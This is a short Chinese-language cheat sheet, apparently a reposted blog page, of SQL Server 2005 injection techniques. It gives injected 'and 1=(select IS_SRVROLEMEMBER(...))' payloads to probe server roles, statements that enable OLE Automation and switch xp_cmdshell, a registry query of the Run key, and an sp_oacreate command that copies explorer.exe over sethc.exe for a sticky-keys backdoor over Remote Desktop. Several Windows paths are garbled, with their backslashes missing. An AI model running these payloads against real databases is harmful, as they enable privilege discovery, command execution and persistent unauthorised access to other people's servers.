[sql server 2005,检测权限]

and 1=(select IS_SRVROLEMEMBER(‘sysadmin’))
and 1=(select IS_SRVROLEMEMBER(‘serveradmin’))
and 1=(select IS_SRVROLEMEMBER(‘setupadmin’))
and 1=(select IS_SRVROLEMEMBER(‘securityadmin’))
and 1=(select IS_SRVROLEMEMBER(‘diskadmin’))
and 1=(select IS_SRVROLEMEMBER(‘bulkadmin’))
and 1=(select IS_SRVROLEMEMBER(‘db_owner’))

[sql server 2005 ,恢复xp_cmdshell ]

启用 OLE Automation Procedures。

当启用 OLE Automation Procedures 时,对 sp_OACreate 的调用将会启动 OLE 共享执行环境。

可以使用 sp_configure 系统存储过程来查看和更改 Ole Automation Procedures 选项的当前值。

以下示例显示了如何查看 OLE Automation Procedures 的当前设置。

以下示例显示了如何启用 OLE Automation Procedures。
sp_configure ‘show advanced options’, 1;
GO
RECONFIGURE;
GO
sp_configure ‘Ole Automation Procedures’, 1;
GO
RECONFIGURE;
GO
转自MSDN:http://msdn2.microsoft.com/zh-cn/library/ms191188.aspx
EXEC sp_configure ‘Ole Automation Procedures’;
GO

关闭

EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 0;RECONFIGURE;

更新注册

Exec xp_regenumvalues ‘HKEY_LOCAL_MACHINE’,'SOFTWAREMicrosoftWindowsCurrentVersionRun’

[sql server 2005 ,文件操作]

//启用 OLE Automation Procedures

sp_configure ‘show advanced options’,0;RECONFIGURE;sp_configure ‘Ole Automation Procedures’,1;RECONFIGURE;

//拷贝文件d:windowsexplorer.exe 至sethc.exe

declare @o int;exec sp_oacreate ‘scripting.filesystemobject’, @o out ;exec sp_oamethod @o, ‘copyfile’,null,’d:windowsexplorer.exe’ ,’c:sethc.exe’;

//如果服务器是windows 2003且开放3389即可以用粘滞键的原理.

: http://www.nuanyue.com/sql-server-2005%e6%b3%a8%e5%85%a5%e6%8a%80%e5%b7%a7%e9%9b%86.html

  • No Related Post

本文相关评论 - 1条评论都没有呢

还没有任何评论。